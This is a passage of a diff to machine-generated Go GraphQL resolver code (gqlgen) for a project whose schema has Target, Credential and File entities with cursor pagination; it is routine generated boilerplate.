___Directive_description(ctx context.Context, field graphql.CollectedField, obj *introspection.Directive) (ret graphql.Marshaler) { +func (ec *executionContext) _PageInfo_hasNextPage(ctx context.Context, field graphql.CollectedField, obj *ent.PageInfo) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -3021,7 +3302,7 @@ func (ec *executionContext) ___Directive_description(ctx context.Context, field } }() fc := &graphql.FieldContext{ - Object: "__Directive", + Object: "PageInfo", Field: field, Args: nil, IsMethod: false, @@ -3031,21 +3312,24 @@ func (ec *executionContext) ___Directive_description(ctx context.Context, field ctx = graphql.WithFieldContext(ctx, fc) resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.Description, nil + return obj.HasNextPage, nil }) if err != nil { ec.Error(ctx, err) return graphql.Null } if resTmp == nil { + if !graphql.HasFieldError(ctx, fc) { + ec.Errorf(ctx, "must not be null") + } return graphql.Null } - res := resTmp.(string) + res := resTmp.(bool) fc.Result = res - return ec.marshalOString2string(ctx, field.Selections, res) + return ec.marshalNBoolean2bool(ctx, field.Selections, res) } -func (ec *executionContext) ___Directive_locations(ctx context.Context, field graphql.CollectedField, obj *introspection.Directive) (ret graphql.Marshaler) { +func (ec *executionContext) _PageInfo_hasPreviousPage(ctx context.Context, field graphql.CollectedField, obj *ent.PageInfo) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -3053,7 +3337,7 @@ func (ec *executionContext) ___Directive_locations(ctx context.Context, field gr } }() fc := &graphql.FieldContext{ - Object: "__Directive", + Object: "PageInfo", Field: field, Args: nil, IsMethod: false, @@ -3063,7 +3347,7 @@ func (ec *executionContext) ___Directive_locations(ctx context.Context, field gr ctx = graphql.WithFieldContext(ctx, fc) resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.Locations, nil + return obj.HasPreviousPage, nil }) if err != nil { ec.Error(ctx, err) @@ -3075,12 +3359,12 @@ func (ec *executionContext) ___Directive_locations(ctx context.Context, field gr } return graphql.Null } - res := resTmp.([]string) + res := resTmp.(bool) fc.Result = res - return ec.marshalN__DirectiveLocation2ᚕstringᚄ(ctx, field.Selections, res) + return ec.marshalNBoolean2bool(ctx, field.Selections, res) } -func (ec *executionContext) ___Directive_args(ctx context.Context, field graphql.CollectedField, obj *introspection.Directive) (ret graphql.Marshaler) { +func (ec *executionContext) _PageInfo_startCursor(ctx context.Context, field graphql.CollectedField, obj *ent.PageInfo) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -3088,7 +3372,7 @@ func (ec *executionContext) ___Directive_args(ctx context.Context, field graphql } }() fc := &graphql.FieldContext{ - Object: "__Directive", + Object: "PageInfo", Field: field, Args: nil, IsMethod: false, @@ -3098,24 +3382,21 @@ func (ec *executionContext) ___Directive_args(ctx context.Context, field graphql ctx = graphql.WithFieldContext(ctx, fc) resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.Args, nil + return obj.StartCursor, nil }) if err != nil { ec.Error(ctx, err) return graphql.Null } if resTmp == nil { - if !graphql.HasFieldError(ctx, fc) { - ec.Errorf(ctx, "must not be null") - } return graphql.Null } - res := resTmp.([]introspection.InputValue) + res := resTmp.(*ent.Cursor) fc.Result = res - return ec.marshalN__InputValue2ᚕgithubᚗcomᚋ99designsᚋgqlgenᚋgraphqlᚋintrospectionᚐInputValueᚄ(ctx, field.Selections, res) + return ec.marshalOCursor2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐCursor(ctx, field.Selections, res) } -func (ec *executionContext) ___Directive_isRepeatable(ctx context.Context, field graphql.CollectedField, obj *introspection.Directive) (ret graphql.Marshaler) { +func (ec *executionContext) _PageInfo_endCursor(ctx context.Context, field graphql.CollectedField, obj *ent.PageInfo) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -3123,7 +3404,7 @@ func (ec *executionContext) ___Directive_isRepeatable(ctx context.Context, field } }() fc := &graphql.FieldContext{ - Object: "__Directive", + Object: "PageInfo", Field: field, Args: nil, IsMethod: false, @@ -3133,24 +3414,21 @@ func (ec *executionContext) ___Directive_isRepeatable(ctx context.Context, field ctx = graphql.WithFieldContext(ctx, fc) resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.IsRepeatable, nil + return obj.EndCursor, nil }) if err != nil { ec.Error(ctx, err) return graphql.Null } if resTmp == nil { - if !graphql.HasFieldError(ctx, fc) { - ec.Errorf(ctx, "must not be null") - } return graphql.Null } - res := resTmp.(bool) + res := resTmp.(*ent.Cursor) fc.Result = res - return ec.marshalNBoolean2bool(ctx, field.Selections, res) + return ec.marshalOCursor2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐCursor(ctx, field.Selections, res) } -func (ec *executionContext) ___EnumValue_name(ctx context.Context, field graphql.CollectedField, obj *introspection.EnumValue) (ret graphql.Marshaler) { +func (ec *executionContext) _Query_node(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -3158,34 +3436,38 @@ func (ec *executionContext) ___EnumValue_name(ctx context.Context, field graphql } }() fc := &graphql.FieldContext{ - Object: "__EnumValue", + Object: "Query", Field: field, Args: nil, - IsMethod: false, - IsResolver: false, + IsMethod: true, + IsResolver: true, } ctx = graphql.WithFieldContext(ctx, fc) + rawArgs := field.ArgumentMap(ec.Variables) + args, err := ec.field_Query_node_args(ctx, rawArgs) + if err != nil { + ec.Error(ctx, err) + return graphql.Null + } + fc.Args = args resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.Name, nil + return ec.resolvers.Query().Node(rctx, args["id"].(int)) }) if err != nil { ec.Error(ctx, err) return graphql.Null } if resTmp == nil { - if !graphql.HasFieldError(ctx, fc) { - ec.Errorf(ctx, "must not be null") - } return graphql.Null } - res := resTmp.(string) + res := resTmp.(ent.Noder) fc.Result = res - return ec.marshalNString2string(ctx, field.Selections, res) + return ec.marshalONode2githubᚗcomᚋkcarrettoᚋrealmᚋentᚐNoder(ctx, field.Selections, res) } -func (ec *executionContext) ___EnumValue_description(ctx context.Context, field graphql.CollectedField, obj *introspection.EnumValue) (ret graphql.Marshaler) { +func (ec *executionContext) _Query_nodes(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -3193,31 +3475,41 @@ func (ec *executionContext) ___EnumValue_description(ctx context.Context, field } }() fc := &graphql.FieldContext{ - Object: "__EnumValue", + Object: "Query", Field: field, Args: nil, - IsMethod: false, - IsResolver: false, + IsMethod: true, + IsResolver: true, } ctx = graphql.WithFieldContext(ctx, fc) + rawArgs := field.ArgumentMap(ec.Variables) + args, err := ec.field_Query_nodes_args(ctx, rawArgs) + if err != nil { + ec.Error(ctx, err) + return graphql.Null + } + fc.Args = args resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.Description, nil + return ec.resolvers.Query().Nodes(rctx, args["ids"].([]int)) }) if err != nil { ec.Error(ctx, err) return graphql.Null } if resTmp == nil { + if !graphql.HasFieldError(ctx, fc) { + ec.Errorf(ctx, "must not be null") + } return graphql.Null } - res := resTmp.(string) + res := resTmp.([]ent.Noder) fc.Result = res - return ec.marshalOString2string(ctx, field.Selections, res) + return ec.marshalNNode2ᚕgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐNoder(ctx, field.Selections, res) } -func (ec *executionContext) ___EnumValue_isDeprecated(ctx context.Context, field graphql.CollectedField, obj *introspection.EnumValue) (ret graphql.Marshaler) { +func (ec *executionContext) _Query_targets(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -3225,34 +3517,38 @@ func (ec *executionContext) ___EnumValue_isDeprecated(ctx context.Context, field } }() fc := &graphql.FieldContext{ - Object: "__EnumValue", + Object: "Query", Field: field, Args: nil, IsMethod: true, - IsResolver: false, + IsResolver: true, } ctx = graphql.WithFieldContext(ctx, fc) + rawArgs := field.ArgumentMap(ec.Variables) + args, err := ec.field_Query_targets_args(ctx, rawArgs) + if err != nil { + ec.Error(ctx, err) + return graphql.Null + } + fc.Args = args resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.IsDeprecated(), nil + return ec.resolvers.Query().Targets(rctx, args["after"].(*ent.Cursor), args["first"].(*int), args["before"].(*ent.Cursor), args["last"].(*int), args["orderBy"].(*ent.TargetOrder), args["where"].(*ent.TargetWhereInput)) }) if err != nil { ec.Error(ctx, err) return graphql.Null } if resTmp == nil { - if !graphql.HasFieldError(ctx, fc) { - ec.Errorf(ctx, "must not be null") - } return graphql.Null } - res := resTmp.(bool) + res := resTmp.(*ent.TargetConnection) fc.Result = res - return ec.marshalNBoolean2bool(ctx, field.Selections, res) + return ec.marshalOTargetConnection2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐTargetConnection(ctx, field.Selections, res) } -func (ec *executionContext) ___EnumValue_deprecationReason(ctx context.Context, field graphql.CollectedField, obj *introspection.EnumValue) (ret graphql.Marshaler) { +func (ec *executionContext) _Query_credentials(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -3260,17 +3556,24 @@ func (ec *executionContext) ___EnumValue_deprecationReason(ctx context.Context, } }() fc := &graphql.FieldContext{ - Object: "__EnumValue", + Object: "Query", Field: field, Args: nil, IsMethod: true, - IsResolver: false, + IsResolver: true, } ctx = graphql.WithFieldContext(ctx, fc) + rawArgs := field.ArgumentMap(ec.Variables) + args, err := ec.field_Query_credentials_args(ctx, rawArgs) + if err != nil { + ec.Error(ctx, err) + return graphql.Null + } + fc.Args = args resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.DeprecationReason(), nil + return ec.resolvers.Query().Credentials(rctx, args["after"].(*ent.Cursor), args["first"].(*int), args["before"].(*ent.Cursor), args["last"].(*int), args["orderBy"].(*ent.CredentialOrder), args["where"].(*ent.CredentialWhereInput)) }) if err != nil { ec.Error(ctx, err) @@ -3279,12 +3582,12 @@ func (ec *executionContext) ___EnumValue_deprecationReason(ctx context.Context, if resTmp == nil { return graphql.Null } - res := resTmp.(*string) + res := resTmp.(*ent.CredentialConnection) fc.Result = res - return ec.marshalOString2ᚖstring(ctx, field.Selections, res) + return ec.marshalOCredentialConnection2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐCredentialConnection(ctx, field.Selections, res) } -func (ec *executionContext) ___Field_name(ctx context.Context, field graphql.CollectedField, obj *introspection.Field) (ret graphql.Marshaler) { +func (ec *executionContext) _Query_files(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -3292,34 +3595,38 @@ func (ec *executionContext) ___Field_name(ctx context.Context, field graphql.Col } }() fc := &graphql.FieldContext{ - Object: "__Field", + Object: "Query", Field: field, Args: nil, - IsMethod: false, - IsResolver: false, + IsMethod: true, + IsResolver: true, } ctx = graphql.WithFieldContext(ctx, fc) + rawArgs := field.ArgumentMap(ec.Variables) + args, err := ec.field_Query_files_args(ctx, rawArgs) + if err != nil { + ec.Error(ctx, err) + return graphql.Null + } + fc.Args = args resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.Name, nil + return ec.resolvers.Query().Files(rctx, args["after"].(*ent.Cursor), args["first"].(*int), args["before"].(*ent.Cursor), args["last"].(*int), args["orderBy"].(*ent.FileOrder), args["where"].(*ent.FileWhereInput)) }) if err != nil { ec.Error(ctx, err) return graphql.Null } if resTmp == nil { - if !graphql.HasFieldError(ctx, fc) { - ec.Errorf(ctx, "must not be null") - } return graphql.Null } - res := resTmp.(string) + res := resTmp.(*ent.FileConnection) fc.Result = res - return ec.marshalNString2string(ctx, field.Selections, res) + return ec.marshalOFileConnection2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐFileConnection(ctx, field.Selections, res) } -func (ec *executionContext) ___Field_description(ctx context.Context, field graphql.CollectedField, obj *introspection.Field) (ret graphql.Marshaler) { +func (ec *executionContext) _Query___type(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -3327,17 +3634,24 @@ func (ec *executionContext) ___Field_description(ctx context.Context, field grap } }() fc := &graphql.FieldContext{ - Object: "__Field", + Object: "Query", Field: field, Args: nil, - IsMethod: false, + IsMethod: true, IsResolver: false, } ctx = graphql.WithFieldContext(ctx, fc) + rawArgs := field.ArgumentMap(ec.Variables) + args, err := ec.field_Query___type_args(ctx, rawArgs) + if err != nil { + ec.Error(ctx, err) + return graphql.Null + } + fc.Args = args resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.Description, nil + return ec.introspectType(args["name"].(string)) }) if err != nil { ec.Error(ctx, err) @@ -3346,12 +3660,12 @@ func (ec *executionContext) ___Field_description(ctx context.Context, field grap if resTmp == nil { return graphql.Null } - res := resTmp.(string) + res := resTmp.(*introspection.Type) fc.Result = res - return ec.marshalOString2string(ctx, field.Selections, res) + return ec.marshalO__Type2ᚖgithubᚗcomᚋ99designsᚋgqlgenᚋgraphqlᚋintrospectionᚐType(ctx, field.Selections, res) } -func (ec *executionContext) ___Field_args(ctx context.Context, field graphql.CollectedField, obj *introspection.Field) (ret graphql.Marshaler) { +func (ec *executionContext) _Query___schema(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -3359,34 +3673,31 @@ func (ec *executionContext) ___Field_args(ctx context.Context, field graphql.Col } }() fc := &graphql.FieldContext{ - Object: "__Field", + Object: "Query", Field: field, Args: nil, - IsMethod: false, + IsMethod: true, IsResolver: false, } ctx = graphql.WithFieldContext(ctx, fc) resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.Args, nil + return ec.introspectSchema() }) if err != nil { ec.Error(ctx, err) return graphql.Null } if resTmp == nil { - if !graphql.HasFieldError(ctx, fc) { - ec.Errorf(ctx, "must not be null") - } return graphql.Null } - res := resTmp.([]introspection.InputValue) + res := resTmp.(*introspection.Schema) fc.Result = res - return ec.marshalN__InputValue2ᚕgithubᚗcomᚋ99designsᚋgqlgenᚋgraphqlᚋintrospectionᚐInputValueᚄ(ctx, field.Selections, res) + return ec.marshalO__Schema2ᚖgithubᚗcomᚋ99designsᚋgqlgenᚋgraphqlᚋintrospectionᚐSchema(ctx, field.Selections, res) } -func (ec *executionContext) ___Field_type(ctx context.Context, field graphql.CollectedField, obj *introspection.Field) (ret graphql.Marshaler) { +func (ec *executionContext) _Target_id(ctx context.Context, field graphql.CollectedField, obj *ent.Target) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -3394,7 +3705,7 @@ func (ec *executionContext) ___Field_type(ctx context.Context, field graphql.Col } }() fc := &graphql.FieldContext{ - Object: "__Field", + Object: "Target", Field: field, Args: nil, IsMethod: false, @@ -3404,7 +3715,7 @@ func (ec *executionContext) ___Field_type(ctx context.Context, field graphql.Col ctx = graphql.WithFieldContext(ctx, fc) resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.Type, nil + return obj.ID, nil }) if err != nil { ec.Error(ctx, err) @@ -3416,12 +3727,12 @@ func (ec *executionContext) ___Field_type(ctx context.Context, field graphql.Col } return graphql.Null } - res := resTmp.(*introspection.Type) + res := resTmp.(int) fc.Result = res - return ec.marshalN__Type2ᚖgithubᚗcomᚋ99designsᚋgqlgenᚋgraphqlᚋintrospectionᚐType(ctx, field.Selections, res) + return ec.marshalNID2int(ctx, field.Selections, res) } -func (ec *executionContext) ___Field_isDeprecated(ctx context.Context, field graphql.CollectedField, obj *introspection.Field) (ret graphql.Marshaler) { +func (ec *executionContext) _Target_name(ctx context.Context, field graphql.CollectedField, obj *ent.Target) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -3429,17 +3740,17 @@ func (ec *executionContext) ___Field_isDeprecated(ctx context.Context, field gra } }() fc := &graphql.FieldContext{ - Object: "__Field", + Object: "Target", Field: field, Args: nil, - IsMethod: true, + IsMethod: false, IsResolver: false, } ctx = graphql.WithFieldContext(ctx, fc) resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.IsDeprecated(), nil + return obj.Name, nil }) if err != nil { ec.Error(ctx, err) @@ -3451,12 +3762,12 @@ func (ec *executionContext) ___Field_isDeprecated(ctx context.Context, field gra } return graphql.Null } - res := resTmp.(bool) + res := resTmp.(string) fc.Result = res - return ec.marshalNBoolean2bool(ctx, field.Selections, res) + return ec.marshalNString2string(ctx, field.Selections, res) } -func (ec *executionContext) ___Field_deprecationReason(ctx context.Context, field graphql.CollectedField, obj *introspection.Field) (ret graphql.Marshaler) { +func (ec *executionContext) _Target_forwardConnectIP(ctx context.Context, field graphql.CollectedField, obj *ent.Target) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -3464,31 +3775,34 @@ func (ec *executionContext) ___Field_deprecationReason(ctx context.Context, fiel } }() fc := &graphql.FieldContext{ - Object: "__Field", + Object: "Target", Field: field, Args: nil, - IsMethod: true, + IsMethod: false, IsResolver: false, } ctx = graphql.WithFieldContext(ctx, fc) resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.DeprecationReason(), nil + return obj.ForwardConnectIP, nil }) if err != nil { ec.Error(ctx, err) return graphql.Null } if resTmp == nil { + if !graphql.HasFieldError(ctx, fc) { + ec.Errorf(ctx, "must not be null") + } return graphql.Null } - res := resTmp.(*string) + res := resTmp.(string) fc.Result = res - return ec.marshalOString2ᚖstring(ctx, field.Selections, res) + return ec.marshalNString2string(ctx, field.Selections, res) } -func (ec *executionContext) ___InputValue_name(ctx context.Context, field graphql.CollectedField, obj *introspection.InputValue) (ret graphql.Marshaler) { +func (ec *executionContext) _Target_credentials(ctx context.Context, field graphql.CollectedField, obj *ent.Target) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -3496,34 +3810,31 @@ func (ec *executionContext) ___InputValue_name(ctx context.Context, field graphq } }() fc := &graphql.FieldContext{ - Object: "__InputValue", + Object: "Target", Field: field, Args: nil, - IsMethod: false, + IsMethod: true, IsResolver: false, } ctx = graphql.WithFieldContext(ctx, fc) resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.Name, nil + return obj.Credentials(ctx) }) if err != nil { ec.Error(ctx, err) return graphql.Null } if resTmp == nil { - if !graphql.HasFieldError(ctx, fc) { - ec.Errorf(ctx, "must not be null") - } return graphql.Null } - res := resTmp.(string) + res := resTmp.([]*ent.Credential) fc.Result = res - return ec.marshalNString2string(ctx, field.Selections, res) + return ec.marshalOCredential2ᚕᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐCredentialᚄ(ctx, field.Selections, res) } -func (ec *executionContext) ___InputValue_description(ctx context.Context, field graphql.CollectedField, obj *introspection.InputValue) (ret graphql.Marshaler) { +func (ec *executionContext) _TargetConnection_totalCount(ctx context.Context, field graphql.CollectedField, obj *ent.TargetConnection) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -3531,7 +3842,7 @@ func (ec *executionContext) ___InputValue_description(ctx context.Context, field } }() fc := &graphql.FieldContext{ - Object: "__InputValue", + Object: "TargetConnection", Field: field, Args: nil, IsMethod: false, @@ -3541,21 +3852,24 @@ func (ec *executionContext) ___InputValue_description(ctx context.Context, field ctx = graphql.WithFieldContext(ctx, fc) resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.Description, nil + return obj.TotalCount, nil }) if err != nil { ec.Error(ctx, err) return graphql.Null } if resTmp == nil { + if !graphql.HasFieldError(ctx, fc) { + ec.Errorf(ctx, "must not be null") + } return graphql.Null } - res := resTmp.(string) + res := resTmp.(int) fc.Result = res - return ec.marshalOString2string(ctx, field.Selections, res) + return ec.marshalNInt2int(ctx, field.Selections, res) } -func (ec *executionContext) ___InputValue_type(ctx context.Context, field graphql.CollectedField, obj *introspection.InputValue) (ret graphql.Marshaler) { +func (ec *executionContext) _TargetConnection_pageInfo(ctx context.Context, field graphql.CollectedField, obj *ent.TargetConnection) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -3563,7 +3877,7 @@ func (ec *executionContext) ___InputValue_type(ctx context.Context, field graphq } }() fc := &graphql.FieldContext{ - Object: "__InputValue", + Object: "TargetConnection", Field: field, Args: nil, IsMethod: false, @@ -3573,7 +3887,7 @@ func (ec *executionContext) ___InputValue_type(ctx context.Context, field graphq ctx = graphql.WithFieldContext(ctx, fc) resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.Type, nil + return obj.PageInfo, nil }) if err != nil { ec.Error(ctx, err) @@ -3585,12 +3899,12 @@ func (ec *executionContext) ___InputValue_type(ctx context.Context, field graphq } return graphql.Null } - res := resTmp.(*introspection.Type) + res := resTmp.(ent.PageInfo) fc.Result = res - return ec.marshalN__Type2ᚖgithubᚗcomᚋ99designsᚋgqlgenᚋgraphqlᚋintrospectionᚐType(ctx, field.Selections, res) + return ec.marshalNPageInfo2githubᚗcomᚋkcarrettoᚋrealmᚋentᚐPageInfo(ctx, field.Selections, res) } -func (ec *executionContext) ___InputValue_defaultValue(ctx context.Context, field graphql.CollectedField, obj *introspection.InputValue) (ret graphql.Marshaler) { +func (ec *executionContext) _TargetConnection_edges(ctx context.Context, field graphql.CollectedField, obj *ent.TargetConnection) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -3598,7 +3912,7 @@ func (ec *executionContext) ___InputValue_defaultValue(ctx context.Context, fiel } }() fc := &graphql.FieldContext{ - Object: "__InputValue", + Object: "TargetConnection", Field: field, Args: nil, IsMethod: false, @@ -3608,7 +3922,7 @@ func (ec *executionContext) ___InputValue_defaultValue(ctx context.Context, fiel ctx = graphql.WithFieldContext(ctx, fc) resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.DefaultValue, nil + return obj.Edges, nil }) if err != nil { ec.Error(ctx, err) @@ -3617,12 +3931,12 @@ func (ec *executionContext) ___InputValue_defaultValue(ctx context.Context, fiel if resTmp == nil { return graphql.Null } - res := resTmp.(*string) + res := resTmp.([]*ent.TargetEdge) fc.Result = res - return ec.marshalOString2ᚖstring(ctx, field.Selections, res) + return ec.marshalOTargetEdge2ᚕᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐTargetEdge(ctx, field.Selections, res) } -func (ec *executionContext) ___Schema_types(ctx context.Context, field graphql.CollectedField, obj *introspection.Schema) (ret graphql.Marshaler) { +func (ec *executionContext) _TargetEdge_node(ctx context.Context, field graphql.CollectedField, obj *ent.TargetEdge) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -3630,34 +3944,31 @@ func (ec *executionContext) ___Schema_types(ctx context.Context, field graphql.C } }() fc := &graphql.FieldContext{ - Object: "__Schema", + Object: "TargetEdge", Field: field, Args: nil, - IsMethod: true, + IsMethod: false, IsResolver: false, } ctx = graphql.WithFieldContext(ctx, fc) resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.Types(), nil + return obj.Node, nil }) if err != nil { ec.Error(ctx, err) return graphql.Null } if resTmp == nil { - if !graphql.HasFieldError(ctx, fc) { - ec.Errorf(ctx, "must not be null") - } return graphql.Null } - res := resTmp.([]introspection.Type) + res := resTmp.(*ent.Target) fc.Result = res - return ec.marshalN__Type2ᚕgithubᚗcomᚋ99designsᚋgqlgenᚋgraphqlᚋintrospectionᚐTypeᚄ(ctx, field.Selections, res) + return ec.marshalOTarget2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐTarget(ctx, field.Selections, res) } -func (ec *executionContext) ___Schema_queryType(ctx context.Context, field graphql.CollectedField, obj *introspection.Schema) (ret graphql.Marshaler) { +func (ec *executionContext) _TargetEdge_cursor(ctx context.Context, field graphql.CollectedField, obj *ent.TargetEdge) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -3665,17 +3976,17 @@ func (ec *executionContext) ___Schema_queryType(ctx context.Context, field graph } }() fc := &graphql.FieldContext{ - Object: "__Schema", + Object: "TargetEdge", Field: field, Args: nil, - IsMethod: true, + IsMethod: false, IsResolver: false, } ctx = graphql.WithFieldContext(ctx, fc) resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.QueryType(), nil + return obj.Cursor, nil }) if err != nil { ec.Error(ctx, err) @@ -3687,12 +3998,12 @@ func (ec *executionContext) ___Schema_queryType(ctx context.Context, field graph } return graphql.Null } - res := resTmp.(*introspection.Type) + res := resTmp.(ent.Cursor) fc.Result = res - return ec.marshalN__Type2ᚖgithubᚗcomᚋ99designsᚋgqlgenᚋgraphqlᚋintrospectionᚐType(ctx, field.Selections, res) + return ec.marshalNCursor2githubᚗcomᚋkcarrettoᚋrealmᚋentᚐCursor(ctx, field.Selections, res) } -func (ec *executionContext) ___Schema_mutationType(ctx context.Context, field graphql.CollectedField, obj *introspection.Schema) (ret graphql.Marshaler) { +func (ec *executionContext) ___Directive_name(ctx context.Context, field graphql.CollectedField, obj *introspection.Directive) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -3700,31 +4011,34 @@ func (ec *executionContext) ___Schema_mutationType(ctx context.Context, field gr } }() fc := &graphql.FieldContext{ - Object: "__Schema", + Object: "__Directive", Field: field, Args: nil, - IsMethod: true, + IsMethod: false, IsResolver: false, } ctx = graphql.WithFieldContext(ctx, fc) resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.MutationType(), nil + return obj.Name, nil }) if err != nil { ec.Error(ctx, err) return graphql.Null } if resTmp == nil { + if !graphql.HasFieldError(ctx, fc) { + ec.Errorf(ctx, "must not be null") + } return graphql.Null } - res := resTmp.(*introspection.Type) + res := resTmp.(string) fc.Result = res - return ec.marshalO__Type2ᚖgithubᚗcomᚋ99designsᚋgqlgenᚋgraphqlᚋintrospectionᚐType(ctx, field.Selections, res) + return ec.marshalNString2string(ctx, field.Selections, res) } -func (ec *executionContext) ___Schema_subscriptionType(ctx context.Context, field graphql.CollectedField, obj *introspection.Schema) (ret graphql.Marshaler) { +func (ec *executionContext) ___Directive_description(ctx context.Context, field graphql.CollectedField, obj *introspection.Directive) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -3732,17 +4046,17 @@ func (ec *executionContext) ___Schema_subscriptionType(ctx context.Context, fiel } }() fc := &graphql.FieldContext{ - Object: "__Schema", + Object: "__Directive", Field: field, Args: nil, - IsMethod: true, + IsMethod: false, IsResolver: false, } ctx = graphql.WithFieldContext(ctx, fc) resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.SubscriptionType(), nil + return obj.Description, nil }) if err != nil { ec.Error(ctx, err) @@ -3751,12 +4065,12 @@ func (ec *executionContext) ___Schema_subscriptionType(ctx context.Context, fiel if resTmp == nil { return graphql.Null } - res := resTmp.(*introspection.Type) + res := resTmp.(string) fc.Result = res - return ec.marshalO__Type2ᚖgithubᚗcomᚋ99designsᚋgqlgenᚋgraphqlᚋintrospectionᚐType(ctx, field.Selections, res) + return ec.marshalOString2string(ctx, field.Selections, res) } -func (ec *executionContext) ___Schema_directives(ctx context.Context, field graphql.CollectedField, obj *introspection.Schema) (ret graphql.Marshaler) { +func (ec *executionContext) ___Directive_locations(ctx context.Context, field graphql.CollectedField, obj *introspection.Directive) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -3764,17 +4078,17 @@ func (ec 